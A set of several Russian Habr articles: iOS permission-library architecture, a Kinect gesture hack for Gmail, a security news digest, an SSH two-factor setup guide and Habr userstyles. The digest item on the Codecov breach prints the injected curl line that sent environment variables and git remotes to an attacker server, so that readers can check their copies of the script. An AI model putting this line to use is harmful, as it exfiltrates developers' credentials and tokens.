Хочу поделится довольно обычной, но показательной историей. Идея проекта появилась 3 месяца назад, за 1 месяц была реализована и вот уже два месяца как проект переодически висит в топе GitHub, попал в какие только можно профильные новостные ресурсы, и даже забрался в дайджест в статье “Топ 5 библиотек апреля”.
Вы могли подумать что я хвалюсь, но нет. Это предыстория нужна для более глубоко диссонанса. Я хочу поговорить об… **архитектуре**. Да, знаю-знаю, “*сколько можно*” и “*что он себе позволяет*”. Но я буду говорить не столько о паттернах, сколько о подходе к их использованию. Именно такие статьи я искал и люблю. Примеров синглтона и фабрики вы найдете больше, чем ошибок при выходе новой версии свифта, а мы поговорим об обобщенном подходе на примере моей [библиотеки](https://github.com/IvanVorobei/SPPermissions).

### Перед погружением — прочтите инструкцию
Не сказал бы что я iOs-разработчик какого-то запредельного уровня, поэтому прошу отнестись к всему сказанному **критично**. Уверен есть люди опытнее меня, для них все очевидно. А вот для заблудшей души, вчера сортировавшей массивы, хорошо бы быть объективным. Я буду стараться.
### Задраить люки! Погружаемся!
Проект упрощает работу с разрешениями. Помимо этого повышает конверсию на получение тех же нотификаций. Кому не нравится красивое диалоговое окно?)
Основные требования к проекту:
* Простое внедрение
* Простое использование
* Удобная кастомизация и расширение (если вдруг захочется добавить новых разрешений или визуалок)
В остальном просто попытался сделать хорошо (к примеру, возможность сменить бизнес-логику не стояла приоритетной, но учитывалась)
А теперь давайте рассуждать. Это вообще штука полезная. Чтобы проект получился простым — нужно иметь простой интерфейс и не грузить программиста реализацией под капотом. В этом я вдохновлялся подходом от Appodeal. В общем, нужно иметь одну точку входа. Т.е. сконфигурировали объект 2-мя разрешениями, а далее запросили их. Должно быть так же просто, как это звучит!
Сразу дьявол на левом? плече шепчет: “Singleton…”. И первые дни мне казалось это прекрасным решением, в AppDelegate сконфигурировал, а показывай контролер где захочется.
Но проблем оказалось больше:
* Крайне редко необходимо будет держать в памяти диалоговое окно
* После получения всех разрешений точно не нужно держать его в памяти
* Мало вероятно что будет нужно запрашивать одни и те же разрешения на разных экранах
В общем, паттерн имел больше минусов, чем плюсов. Тут я хочу обратить внимание на то что отталкивался именно от вариантов использования своего проекта. Уверен что и Singleton оправдан в использовании, но в других ситуациях.
В переломный момент мою точку зрения подтвердил известный в определенных кругах ~~iOS~~ уже Android разработчик — Алексей Скутаренко, назвав паттерн “сомнительным”. То ли от нелюбви к этому паттерну, то ли от не лучший применимости его к моим потребностям — неизвестно. Но решение было принято — выбросить листов 20 макулатуры, достать новых. Маркер, собственно, тоже кончился.
Тогда было принято решение пойти от обратного. Как я бы хотел, чтобы использовали проект? Я это четко представлял:
```
class ViewController: UIViewController {
var permissionAssistant = SPRequestPermissionAssistant.modules.dialog.interactive.create(with: [.Camera, .PhotoLibrary, .Notification])
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(true)
self.permissionAssistant.present(on: self)
}
}
```
Решение напросилось само собой: должен быть главный класс, его мы и назовем PermissionAssistant. А логику разделим на ключевые блоки, для удобства объединим их словом Manager. А что, логично, разные задачи — соответственно разные классы будут за них ответственные.

Теперь давайте определимся с тем, какие функциональные части будут. Очевидно, одна из будет отвечать за запрос разрешений и получение информации о них. Назовем ее PermissionsManager. Так как подразумевается еще и визуальная часть, добавим PresenterManager (своруем именование у Viper, да будут в достатке его открыватели).

Презентер будет отвечать за презентацию контроллера, его конфигурирование… вообще за UI (если оно, конечно, будет). Кстати, обращаю внимание, что все части скрываем протоколами для большей гибкости в дальнейшем.
**Гибкости?!**
Да. Может не лучшее слово, но отражает суть. Представим что мы ремонтируем подводную лодку, крепление винта — 16-листовая резьба с 29 дюймами (только что выдумал). Не нужно каждый раз делать новую подводную лодку, достаточно будет сделать винт с известными требованиями и прикрутить его. Сделать и прикрутить.
Не мастер я алегорий, давайте к примеру с кодом. Разберём PermissionsManager, его сокрытие протоколом и реализацию. Для начала определим функционал менеджера. Нам хватит двух методов:
* Запрос разрешения
* Одобрено ли разрешение
По вкусу можно функционал расширить, но нам хватит. И так, протокол:
```
protocol PermissionManagerInterface {
func requestPermission(_ type: PermissionType)
func isAllowedPermission(_ type: PermissionType)
}
```
В нашем случае это требования к винту лодки.
Теперь имплементируем протокол. Получим реальный объект (винт). Его и прикручиваем. А вот наш главный класс Assistant (подводная лодка) не будет знать какая конкретно реализация (из какого метала, сколько дней ее лили и сколько работа стоила). Главный класс знает только что есть две функции. Захотели сменить реализацию — пожалуйста) Особенно полезно это будет в кастомизации визуальной части и DataSource. Вот о нем сейчас и поговорим.
Очевидно что визуальная часть куда сложнее, чем просто Presenter. По хорошему ее нужно делить на модули. Собственно разделим на две части: Controller и DataSource

Presenter держит контроллер, он будет разбираться с жестами, экраном и прочим, чем занимаются контроллеры. Конечно, возникает вопрос как контроллер будет сообщать о действиях. У особо пытливых возникнет вопрос «а ARC часом не уничтожит все к чертям?».
Если с первым вопросом все понятно — делегаты, то второй — проблема, которая остановила мою работу на неделю. Но чтобы вы понимали, я дополнил схему ссылками между объектами (надеемся все знают про сильные и слабые ссылки, вопросов возникнуть не должно).
Проблема очевидна (надеюсь) — контроллер держит исключительно объект Assistant (конечно, Presenter, но он держит Assistant, так что опустим звено). Если проблема еще не понятна, разъясняю:
Представим что объект Assistant вышел из своей области видимости, и соответственно, был выкинут за борт ARC. Если не был презентован контроллер, то умирает весь объект целиком. Это корректное поведение. Но если контролер был презентован…

то он теперь весит в стеке — и соответственно на него имеется ссылка вне объекта. А вот Assistant, так как выйдет из зоны видимости — умрет. Продемонстрировать можно на простом примере
```
if true {
let permissionAssistant = SPRequestPermissionAssistant.modules.dialog.interactive.create(with: [.Camera, .PhotoLibrary, .Notification])
permissionAssistant.present(on: self)
}
```
Получаем ситуацию, когда контроллер будет жив, а вот все классы окружения — умрут. И даже Presenter, который и держал контроллер.
### Грустно
— подумал я, и начал глубже погружаться в кучу схем, читать про паттерны (может упустил какой) и вообще выпал из мира сего. Погрузился в плаванье.
Сколько разговоров было о проблеме, на уши поднял даже своих ~~матросов~~ сотрудников. Все в один голос твердили — “*Что за ужасная архитектура?!*”, “*Автору — яду*” и “*Контроллер должен все держать*”.
Да, контроллер я выносил в центр. Но проблема в том, что если контроллер держит Assistant и небыл презентован сразу при инициализации — умирает весь объект. В общем, перевернуть связи не получилось, а это означало что…
контроллер выносить как главный объект! Писать логику внутри контроллера — ну уж нет.
Решение пришло само собой за чашечкой чая и было чем то вроде прозрения:
### — “А почему нет?”
Просто инициализировать Assistant как проперти контроллера — и все! Пока жив родитель, жив и Assistant. А так как все диалоговые контролеры подразумевались модальными, решение отлично влилось. Такое решение мне показалось оптимальным, хоть и педантичность внутри взгрустнула. Что ж, продолжим. Дух был поднят, снова набираем скорость!
Теперь хорошо бы разделить UI и PermissionManager. Тут все тривиально — делаем протокол PermissionInterface, который выглядит так:
```
protocol PermissionInterface {
func isAuthorized() -> Bool
func request(withComlectionHandler complectionHandler: @escaping ()->()?)
}
```
И для каждого нового пермишина (Location, Notification, Camera…) реализовываем его. А в PermissionManager создаем необходимый класс Permission и дергаем нужные функции.
Обновим схему:

Теперь мы видим всю картину. И как видно, любой кирпич мы можем заменить. Что лично я считаю — прекрасно. Чем ниже по лестнице блок — тем меньше придется переписывать. Для того, чтобы реализовать новый контроллер, нужно реализовать его интерфейс и внедрить в текущую систему (каким способом — ваше дело). Хотите поменять текста и цвета? Реализуйте протокол DataSource. Особенно мне нравится идея наличия нескольких PresenterManager. Сейчас вам хочется диалоговое окно, а на другом экране — всплывающий банер сверху (уже в разработке)
### Время попсы
Прекрасно понимаю что кол-во звезд слабо коррелирует с качеством кода, надеюсь очевидно что текст совсем не про это.
Пока проект был в работе, я получил так много советов, что потратил больше времени на аргументацию (для себя) почему тот или иной паттерн / идея не подойдет. И это **хорошо**, я проделал много работы.
Не считаю себя разработчиком, который может позволить себе давать советы. Но расскажу маленькую историю:
когда я начинал только думать над проектом, мой хороший товарищ Геннадий (имя изменим) работал над одноэкранным приложением. Делал его на VIPER, и особо не вникал почему и зачем его использует. На мои аргументы:
— “*Отпусти проблему, зачем тебе тяжелый паттерн на супер-простом приложении*”
он был непреклонен. Прошло несколько месяцев, я релизнул мелкие проекты, убрал в квартире и купил велик, сдал заказчику работу и видел как наступает весна. Геннадий продолжает писать приложение…
Паттерны не таблетка от всех болезней. Не используйте его как показатель профессионализма или потому что "*так делают гуру*". Не отсохнут руки, если из MVC сделаете “не эпловский MVC”. Используйте паттерны, когда понимаете что это необходимо.
Используйте их так, чтобы работа становилась проще. Аргумент "*этот паттерн используют крутые проекты*" — совсем не имеет отношения целям и врядли такой подход упростит вам жизнь.
Я не призываю отказаться от паттернов, писать все в контроллере и вообще от VIPER отстреливаться магнитной пушкой. Используйте, но обдумано! Ставьте конкретные требования к архитектуре и экспериментируйте — узнавайте что лучше решит поставленные задачи. Если идеально подходит VIPER, но вот *PRESENTER* вам кажется лишним — выбросьте его, почему нет? Именно эмпирическая работа с архитектурой даст лучший, пускай и не классический результат.
Я не знаю как называется мой паттерн (компот?) — но я остался доволен тем, как он решает поставленные перед ним задачи. Именно такой результат должно приносить использование паттерна.
— "*Даже профессионалы используют сториборды*" — неизвестный автор.
Всем успешных билдов и православного CTR!
**UPD через год:**
Сейчас [проект](https://github.com/IvanVorobei/SPPermission) собрал более 2К звезд и принято решение его обновить.

Предлагаю посмотреть [ролик о поиске нового дизайна](https://youtu.be/1mDdX7fQRv4) и небольшой [туториал](https://youtu.be/viFDunOdyBg) как использовать библиотеку в своем проекте:
**UPD через 2 года:**
На проекте теперь 4к+ звёзд, переписал на SPM. [Завёл канал в телеграмме](https://t.me/+NjnQUtK6zGM3ZjU6), подписывайтесь. | https://habr.com/ru/post/326620/ | null | ru | null |
# Делаем свой Gmail Motion
Несколько дней назад, не помню точной даты, компания Google представила свой новый инструмент для работы с электронной почтой — [Gmail Motion](http://mail.google.com/mail/help/motion.html). Об этом даже [писали](http://habrahabr.ru/blogs/google/116629/) на Хабре. Решив воспользоваться этой прекрасной фичей, я, к своему огромному сожалению, не нашел возможности включить её в своей учетной записи Gmail. Наверное, я не вошел в группу бета-тестеров. Это, конечно, расстраивает. Но не нас! Ниже я расскажу, как за ~~бутылку~~ один час я сделал свой Gmail Motion. Сразу видео с результатом, под катом — технические детали.
#### Инструкция по сборке
##### 1. Берем Microsoft Kinect.
[](https://habrastorage.org/storage/habraeffect/08/d9/08d9195ace7faf7cd164d8de3ee61a4c.png "Хабрэффект.ру")
Ставим на ровную поверхность, включаем в розетку и USB-порт.
##### 2. Берем какую-нибудь библиотеку распознавания жестов для Kinect.
Я воспользовался [FAAST](http://projects.ict.usc.edu/mxr/faast/), как неплохо работающей и умеющей отсылать другим приложениям разные сообщения, что даёт нам отсутствие необходимости что-либо программировать. (Но вообще таких библиотек уже десятки и я не берусь сказать, какая из них лучшая). Как устанавливать FAAST (и нужные для неё библиотеки), детально расписано [тут](http://projects.ict.usc.edu/mxr/faast/).
##### 3. Находим список горячих клавиш для Gmail.
[Вот он](http://mail.google.com/support/bin/answer.py?answer=6594). Включаем в [настройках](https://mail.google.com/mail/?shva=1#settings) Gmail поддержку горячих клавиш.
##### 4. Делаем конфиг-файл для FAAST.
Я ограничился показанными в демонстрационном ролике командами «Открыть письмо», «Ответить», «Ответить всем» и «Отослать». Кроме того, мне пришлось реализовать команду «Открыть папку „Входящие“, поскольку я не понимаю, как без этой команды можно полноценно продемонстрировать работу остальных без необходимости использования клавиатуры или мышки. В видеоролике не был показан жест для этой команды, но полная спецификация стандарта его включает — это наклон тела влево. Кроме того, я заменил команду „Ответить всем“ с указанного в ролике взмаха назад обеими руками на взмах назад левой рукой. Причин на то две:
* Я считаю, что специалисты Google недостаточно поработали над эргономикой стандарта. „Ответить всем“ — достаточно частая задача и нечего на неё вешать действие двумя руками, если его вполне можно сделать одной левой (в обоих смыслах этой фразы). И это не говоря уже об ущемлении прав одноруких.
* В штатном варианте библиотека FAAST не позволяет поймать комплексное действие несколькими руками. Можно, конечно, взять другую библиотеку или дописать промежуточный слой интерпретирования жестов для FAAST, но хотелось поскорее получить хоть что-то работающее.
Конфиг-файл:
`#открытие папки входящие - наклон влево
lean_left 20 key_press u
#открытие письма
right_arm_out 7 key_press o
#ответить
right_arm_up 8 key_press r
#ответить всем
left_arm_up 7 key_press a
#отослать
right_foot_up 9 key_press tab
right_foot_up 10 key_press enter`
##### 5. Запускаем FAAST, открываем конфиг, запускаем эмулятор.
Вуаля! Все работает. Слева на видео открыт Gmail, справа вверху распознанный FAAST-ом скелет, ниже картинка с камеры и еще ниже нажимаемые клавиши, которые передаются в окно браузера. Можно при желании дописать поддержку и других действий.
#### Выводы
С использованием Kinect возможно реализовать многие (если не все) предложенные Google реакции интерфейса Gmail на жесты человека. Конечно, если подойти к делу серьёзно, то придется таки влезть в программирование, решить проблему ложных срабатываний, возможно, сменить библиотеку распознавания жестов и дописать понимание комплексных действий несколькими частями тела синхронно. Но теперь я уверен — это возможно. Конечно, нельзя умалять достижений Google — ведь их функционал работает на обычных камерах, а не на Kinect. А эксперимент был поставлен исключительно в ~~не~~научных целях.
**P.S.** Несмотря на то, что Gmail Motion — дикий стёб Гугла, всё описанное в этой статье **реально существует и работает, как описано**. Ролик тоже настоящий. | https://habr.com/ru/post/116768/ | null | ru | null |
# Security Week 16: атака на цепочку поставок в компании Codecov
В четверг 15 апреля компания Codecov опубликовала [сообщение](https://therecord.media/codecov-discloses-2-5-month-long-supply-chain-attack/) о взломе собственной инфраструктуры и потенциальной утечке данных у клиентов. Главный продукт Codecov предназначен для разработчиков ПО и позволяет улучшать покрытие кода тестами. Пострадала утилита [Bash Uploader](https://docs.codecov.io/docs/about-the-codecov-bash-uploader), предназначенная для отправки отчетов на серверы Codecov.

В сообщении компании пока нет всех технических деталей взлома, но известно, что атакующие воспользовались уязвимостью в процессе создания образов Docker и через нее смогли модифицировать скрипт Bash Uploader. В свою очередь, зараженный код был доставлен к потребителям, за исключением тех, кто использует особую версию продукта без облачных функций. Модификация кода впервые произошла еще 31 января. Как минимум 2,5 месяца с серверов Codecov распространялся, по сути, вредоносный скрипт. Ключи доступа к облачным средствам разработки пострадавших клиентов с высокой вероятностью утекли.
Клиентам Codecov рекомендовано проверить установленную версию скрипта на наличие следующей строки:
`curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://REDACTED/upload/v2 || true`
Последствия взлома пока трудно оценить: данный инцидент можно квалифицировать как атаку на цепочку поставок в квадрате. Взломано решение для разработчиков ПО, а значит есть шанс, что код клиентов Codecov также мог быть модифицирован. В числе потенциальных пострадавших — крупные компании, включая Atlassian, P&G и GoDaddy. Кроме того, код Bash Uploader открыт, распространяется по свободной лицензии и [включен](https://grep.app/search?q=https%3A//codecov.io/bash) в другие проекты для разработчиков ПО.
В Codecov продолжают расследование, чтобы выяснить все детали того, как ключи доступа к исходному коду попали в руки злоумышленников. Помимо этого, компания обещает внедрить средства мониторинга, чтобы исключить неавторизованную модификацию кода в будущем. Судя по всему, клиентам компании также придется провести похожий аудит.
### Что еще произошло
Команда Google Project Zero [обновляет](https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html) правила раскрытия информации об ошибках. Теперь при обнаружении серьезной уязвимости вендору будут давать не только 90 дней на поиск решения, но, в некоторых случаях, еще 30 суток сверху на распространение патча. Но в следующем году Project Zero планирует уменьшить 90-дневное окно для разработки патча. А еще на прошлой неделе в нарушение всех этических норм [обнародовали](https://threatpost.com/chrome-zero-day-exploit-twitter/165363/) эксплойт для непропатченной уязвимости в Google Chrome.
Нидерландская транспортная компания Bakker Logistiek [стала жертвой](https://www.omroepflevoland.nl/nieuws/228024/transportbedrijf-bakker-rijdt-minder-vrachten-door-hack) вымогательства с шифрованием данных. IT-система компании на некоторое время вышла из строя, а побочным уроном стал дефицит сыра в местной сети супермаркетов.
Министерство юстиции США [сообщило](https://www.bleepingcomputer.com/news/security/fbi-nuked-web-shells-from-hacked-exchange-servers-without-telling-owners/) о принудительном удалении веб-шеллов с взломанных почтовых серверов Microsoft Exchange, без ведома владельцев.
Между тем в апрельском наборе патчей Microsoft [закрыли](https://techcommunity.microsoft.com/t5/exchange-team-blog/released-april-2021-exchange-server-security-updates/ba-p/2254617) еще четыре уязвимости в Exchange. Но их, по словам вендора, не эксплуатировали до выпуска заплаток. Обзор всех важных патчей есть на [Bleeping Computer](https://www.bleepingcomputer.com/news/microsoft/microsoft-april-2021-patch-tuesday-fixes-108-flaws-5-zero-days/).
Еще один патч из набора Microsoft закрывает [уязвимость нулевого дня](https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/) в Desktop Window Manager, обнаруженную специалистами «Лаборатории Касперского».
Журналисты The Register пишут про [исследование](https://www.theregister.com/2021/04/13/cracked_copies_of_microsoft_office/) пиратских копий Microsoft Office и Adobe Photoshop. Никого не удивит результат: в пиратках нашли вредоносные программы, занятые в основном угоном пользовательских данных. Единственная относительно новая тема — кража криптовалюты Monero. | https://habr.com/ru/post/553238/ | null | ru | null |
# Добавляем двухфакторную OTP аутентификацию в SSH за 10 минут
Ситуация: у вас парк Linux-серверов, куда вы регулярно заходите по SSH. Двухфакторная аутентификация для SSH по какому-либо железному ключу или Google Authenticator настраивается, может быть, и просто, но далеко не всегда удобно эту настройку производить на каждом сервере, их может быть слишком много, или просто страшно перезапускать sshd :)
Выходом из этой ситуации может быть промежуточный аутентификационный сервер. Мы уже писали [про выкладку нашего решения (Isolate) в опенсорс](https://habrahabr.ru/company/itsumma/blog/334148/), в этой же статье — инструкция по настройке аутентификационного сервера с двухфакторной аутентификацией по одноразовым ключам через Google Authenticator.

Начнем с разворачивания Isolate, для этого понадобится CentOS 7, Ubuntu 16.04 или же Debian 8 машина:
1. Подготавливаем систему к установке Isolate:
*Centos:*
```
yum install ansible git
```
*Ubuntu:*
```
apt update; apt install git python-pip
pip install ansible
```
2. Скачиваем сам Isolate:
```
git clone https://github.com/itsumma/isolate.git
```
3. Для запуска ansible на той же машине, приводим к виду (можно запускать либо с удаленной машины, сервера или десктопного Linux/MacOS, либо же прямо на той машине, на которой разворачиваем Isolate):
```
[main]
localhost ansible_connection=local
```
4.
```
ansible-playbook -i isolate/ansible/hosts.ini isolate/ansible/main.yml
```
Ждем выполнения. В случае, если Ubuntu ругается на шаг Upgrading installed packages (APT), делаем:
```
apt dist-upgrade
```
5. Добавляем в конец /etc/bashrc (Centos) либо /etc/bash.bashrc (Ubuntu)
```
if [ -f /opt/auth/shared/bash.sh ]; then
source /opt/auth/shared/bash.sh;
fi
```
6. Перезагружаем машину. Готово!
### Приступаем к включению oauth
1. Добавляем в конец /etc/pam.d/sshd (Centos) строку, либо в /etc/pam.d/common-auth (Ubuntu)
```
auth required pam_oath.so usersfile=/etc/oath/users.oath window=20 digits=6
```
2.
```
sed -i -e 's/ChallengeResponseAuthentication no/ChallengeResponseAuthentication yes/g' /etc/ssh/sshd_config
```
3. В конец /etc/ssh/sshd\_config
```
Match Group auth
AuthenticationMethods keyboard-interactive
```
4.
```
systemctl restart sshd
```
5. Добавляем пользователя, которому включим oauth
```
auth-add-user имя_юзера
```
6. Генерируем TOTP или HOTP токены:
```
gen-oath-safe имя_юзера totp
gen-oath-safe имя_юзера hotp
```

Добавляем токен через QR-код в Google Authenticator:

7.
```
touch /etc/oath/users.oath
chmod 0600 /etc/oath/users.oath
```
8. Полученную в пункте 6 строку добавляем в /etc/oath/users.oath
9. Смотрим пароль от redis
```
grep requirepass /etc/redis.conf
```
Добавляем запись в /etc/bashrc (Centos) либо /etc/bash.bashrc (Ubuntu)
```
ISOLATE_BACKEND=redis
ISOLATE_REDIS_HOST="127.0.0.1";
ISOLATE_REDIS_PORT="6379";
ISOLATE_REDIS_DB=0;
ISOLATE_REDIS_PASS=redis_pass;
export ISOLATE_REDIS_HOST;
export ISOLATE_REDIS_PORT;
export ISOLATE_REDIS_PASS;
export ISOLATE_REDIS_DB;
```
#### Добавление серверов
Теперь, когда у нас есть готовый сервер для двухфакторной аутентификации, можно добавить свои сервера. Для этого нужно сначала добавить информацию о сервере в Isolate, затем создать пользователей и положить ключи на целевой сервер.
Добавляем сервер, на который будем ходить:
```
auth-add-host --project server-admin --server-name ubuntu --ip 10.0.0.1
```
Посмотреть список серверов можно с помощью команды s:

#### Добавление пользователя на сервер
На сервере 10.0.0.1 создаем юзера support и прописываем ему ключ из /home/auth/.ssh/id\_rsa.pub с Isolate сервера:
```
SUPPORT_USER="support"
KEY=""
useradd -m ${SUPPORT\_USER}
mkdir /home/${SUPPORT\_USER}/.ssh
echo ${KEY} >> /home/${SUPPORT\_USER}/.ssh/authorized\_keys
chmod 600 /home/${SUPPORT\_USER}/.ssh/authorized\_keys
chmod 700 /home/${SUPPORT\_USER}/.ssh/
chown -R ${SUPPORT\_USER}:${SUPPORT\_USER} /home/${SUPPORT\_USER}/.ssh/
echo "${SUPPORT\_USER} ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
```
Теперь на Isolate сервере мы можем использовать команды s для поиска нужного сервера и g для перехода на конкретный сервер:
```
g ip_сервера - g 10.0.0.1
g проект имя_сервера - g server-admin ubuntu
```
Теперь на все добавленные сервера заходить нужно с аутентификационного: по одноразовому коду и паролю заходим на Isolate, а дальше на нужный сервер. Напрямик на сервера в этом случае ходить не стоит, так как тогда смысл двухфакторной авторизации теряется. Ну и вообще удалить ключи-юзеров и т.п. :)
Как обычно, комментарии, дополнения и, конечно, пул реквесты приветствуются! [Github проекта](https://github.com/itsumma/isolate). | https://habr.com/ru/post/335686/ | null | ru | null |
# ZenComment и преодоление «бешеной плитки» на Хабре
В последнее время очень большие кнопки, предусмотренные для пальцевого интерфейса на телефонах и планшетах, занимают не всегда традиционную для себя нишу компьютерных мониторов. Для удобства работы с сайтом Хабра в традиционной десктопно-ноутбучной среде, оттуда удалён плиточный дизайн с помощью новой редакции юзерстилей [ZenComment 4+](https://userstyles.org/styles/36690/habr-zencomment). Все новые меню поместились 3 невыразительных кнопки в верхних уголках окна, постоянно находящиеся на виду. Такой подход был традиционен для юзерстилей ZenComment. И в новом дизайне Хабра они традиционно пережёвывают громоздкое управление, оставляя раскрывающиеся меню.
Движение интерфейса сайта к бесшапочному — похвально, но вместе с ним на сайте появилось «левое меню» — широкая вертикальная полоса с несколькими кнопками во всю высоту окна, заслуживающее лавры интерфейса Unuty в Ubuntu.
Лавры лаврами, а место на экране эта полоса съедает, которое не бывает лишним. Ведь к кнопкам обращения происходят, по опыту работы с сайтом, относительно нечасто, поэтому уменьшение площади открытых кнопок не сильно проигрывает в затратах на их нажатие, но даёт больше полезной площади экрана. Кроме того, юзерстили опровергают мнение авторов сайта, что ему для просмотра нужно ширины не менее 1030 пикселей, не считая полосы прокрутки. Сайт легко укладывается в 380-400 пикселей ширины, даже с сайдбаром.
Вот что с ним случилось под действием юзерстилей ZenComment версии 4.02 от 20 мая 2014г. Посмотрим для начала на исходную страницу, взятую для скриншотов.
[ (кликабельно)](http://habrastorage.org/files/316/c09/406/316c09406bea49a7a762ac2ef4e2339b.png)
Что здесь характерно?
1. Левое меню в стиле Unity занимает 71 пиксель в ширину, как говорит бесстрастный веб-инспектор.
2. Шапка сайта — ура! — стала занимать те самые 20 пикселей, которые занимала шапка в прежних версиях [ZenComment](https://userstyles.org/styles/36690/habr-zencomment) и скрипта [HabrAjax](https://greasyfork.org/en/scripts/1970-habrajax). Но она пустая.
3. Сайдбар начинает работать с 800-го пикселя от шапки.
4. Типичная статья — 500-800 пикселей высоты.
5. Всё свободное место левого меню отведено на кнопку «Прокрутить вверх» (известно, что авторизованные могут отключить действие в настройках).
6. Подобрана минимальная ширина окна в 1030 пикс, когда ещё не появляется горизонтальная прокрутка.
Далее, не удивляясь меньшей ширине окна, смотрим на вид страницы под действием ZenComment, без каких-либо юзерскриптов (можно поставить без превью сразу в страницу).

Площадь скриншота — примерно в 2.5 раза меньше, а поместились те же статьи плюс весь первый блок сайдбара. Отзывы ошеломлённого свидетеля:
1. Стоп, куда делось меню???
2. Что за 3 значка вверху на бордюре?
3. Ой, а сайдбар может так ужиматься? Вот бы так в мой смартфон!
4. В статьях не маячат кнопки «Далее».
5. Уменьшаются картинки пропорционально сжатию и не шире 50% ширины колонки.
6. Статья — на 300-600 пикселей, несмотря на то, что колонка уже.
7. Видна адаптивность полей от ширины окна, в узком окне — поменьше зазоры полей.
8. Есть отметки посещённых ссылок (цветом).
Раскроем загадки.
### Меню ZenComment
В прежних версиях меню ZenComment укладывалось в 1 строку и повторяло два меню сайта: навигация и пользовательские данные.

Не стала исключением и эта версия. Меню на сайте повторяются так, как они в HTML записаны. Но вторые уровни меню разбросаны по более удобным местам. По традиции, пользовательские меню — направо, остальные — налево.
Ничего не стали делать с поведением меню. Сейчас для пользования надо сделать клик на левом меню. Затемнится вся страница, пользователь переживает шок, его внимание полностью переключено на несколько строчек подменю. Всего имеется 4 штуки подменю и 2 кнопки действий — главная и создание своего поста. О недостатках этого меню уже подробно описали раньше. Но не будем делать того, что стилям несвойственно. Кое-что они открывают по :hover, благодаря чему удалось уменьшить число стартовых кнопок до 3 — те самые, которые в верхнем ряду, «на бордюре».
Подведя мышь к кнопке, придётся кликнуть, чтобы увидеть одно из меню или сделать одно из 2 «очень важных» действий: пойти на главную или написать статью. В общем, так же, как предлагают создатели сайта сейчас. Но сглажены некоторые моменты:
1. Затемнение страницы — не сильное, чтобы можно было продолжать читать.
2. Меню не норовить занять весь мозг читателя и площадь страницы. Оно ровно такое, какое есть.
3. Типы меню, как говорилось, разнесены в разные углы.
По наведению мыши на 2 из 3 элементов откроются ещё 3 кнопки, а наведённые сделаются контрастнее:

Если на сайте произошли события, видимые кнопки «озаряются» красными кружочками с числом событий (письмо, комментарий, отслеживаемое действие). Они всегда будут на виду, лишь при открывании меню 2-го уровня становятся бледнее. Открыто, к примеру, меню пользователя:

Затемняется всё окно, но не так катастрофично, как на исходном сайте. Нет непрозрачных элементов, страницу читать можно, хотя читабельность меню над страницей снижается.

Но переход к меню бывает нечастым, а страница прекрасно прокручивается колёсиком мыши, поэтому прозрачность меню — меньшее зло, чем частично невидимое содержание страницы.

Наконец, есть ещё одно небольшое меню трекера (левее), и этим эпопея с раскидыванием подменю ограничивается. Из плиточного дизайна мы вышли с минимумом потерь.
Вот так, минимальными трудами и 100 строчками стилей были изгнаны бешеные плитки со страницы. Скрипт имеет около 1100 строк, для оформления статей, блоков и прочих стилей. Но если кому-то понадобится воспользоваться работой с меню — смотрите эти 100 строк с ключевыми словами "#navbar". Это — основное, что понадобилось сделать, плюс небольшие работы по растягиванию раскладки (лейаута). Если задаться целью оставить страницы более похожими на Хабр, но без плитки — понадобится 150-200 строк стилей.
Не все мечты осуществлены, что связано с ограниченными возможностями стилей по сравнению со скриптами. Но «кромсание» сайта скриптами — это следующий этап действия, в котором некоторые недостатки будут устраняться. В частности, надо убрать подальше кнопку редактирования. Но, в силу стилей, пришлось её оставить «на проходе», под мышью — таковы реалии HTML чужих сайтов.
Аналогично, было бы лучше иметь открытую кнопку не оповещений, а меню. Но оповещения идут выше меню в HTML, и хотелось сделать побольше скрываемых значков. В результате, путь к меню и строке поиска несколько сложен (петля мыши с кликом по пути), но терпим и короче, чем первоначальный путь от плитки, от сохи.
### Сайдбар
Чтобы в сайдбаре было меньше линий, в нём отказались от подчёркиваний ещё 1.5 года назад. Теперь и сайт отказался от подчёркиваний в сайдбаре. Чтобы малозначащая информация не тратила место, межстрочный зазор уменьшен в сайдбаре — там важны ключевые слова. Из сайдбара убраны несущественные для постоянного читателя повторяющиеся блоки. Только новая текущая информация. Постоянные ссылки минимизированы. Ширина сайдбара — относительно меньше (26%), чем у исходного сайта (31%), но за счёт уплотнения строк и полей информация не страдает.
### Комментарии
Малозначительные кнопки перемещены в правую часть заголовка комментария, и открываются они по наведению. Кнопки ответов повёрнуты на 90 град., чтобы не мешать чтению. Лучшую обработку деталей дадут скрипты. Так выглядят комментарии только со стилями:

### Картинки, поля, футер
Скрипты дадут возможность просмотра картинок с зумом мышью (установить [HabrAjax](https://greasyfork.org/en/scripts/1970-habrajax)), они же помогают просмотру статей без перезагрузки страницы, в меню редактирования текста, фильтрации пробельных строк в текстах и в прочих мелочах. Полностью адаптированные к новому сайту скрипты вскоре будут, а существующая версия имеет некоторые несущественные баги (например, авторост поля ввода по нажатию каждой клавиши).
Поля, как упоминалось, адаптивные, а футер и 3 подстрочных ссылки на статьи были уплотнены примерно вдвое в своё время. Максимальная ширина сайта установлена в 1420 пикс., что больше, чем у официального сайта, чтобы лучше смотрелись картинки.
На радость перфекционистам, исправлена ошибка сайта (средний голубой блок в заголовке со словом «Новые»).
```
.content_left table.menu tr td.active{border-bottom: 1px solid transparent}
```
### Об улучшении пользовательского дизайна
Улучшить дизайн пользователям никто не запрещает делать — лицензия открытая, автор не против. Могу помочь в реализации интересных дизайнерских задумок, если такие будут на уровне макета. Например, можно улучшить вид и юзабилити меню и кнопок.
### Размещение юзерстилей
[Habr-ZenComment, версия 4](https://userstyles.org/styles/36690/habr-zencomment) (сейчас — 4.02).
### Скрипты
Будут размещаться на хостинге Github, а зачит, там будет версионность, багтрекер, клонирование, документация. В сумме, удобнее, чем перестающий работать userscripts.org.
Скрипты и стили лучше использовать вместе (если вообще устраивает подход и формат), потому что они разрабатывались в первую очередь — для совместного использования.
**UPD** 21.05.2014: Добавлена адаптивность на широкое окно, что выглядит примерно так:

(Вид левой стороны экрана при ширине окна больше 1520 пикс.)

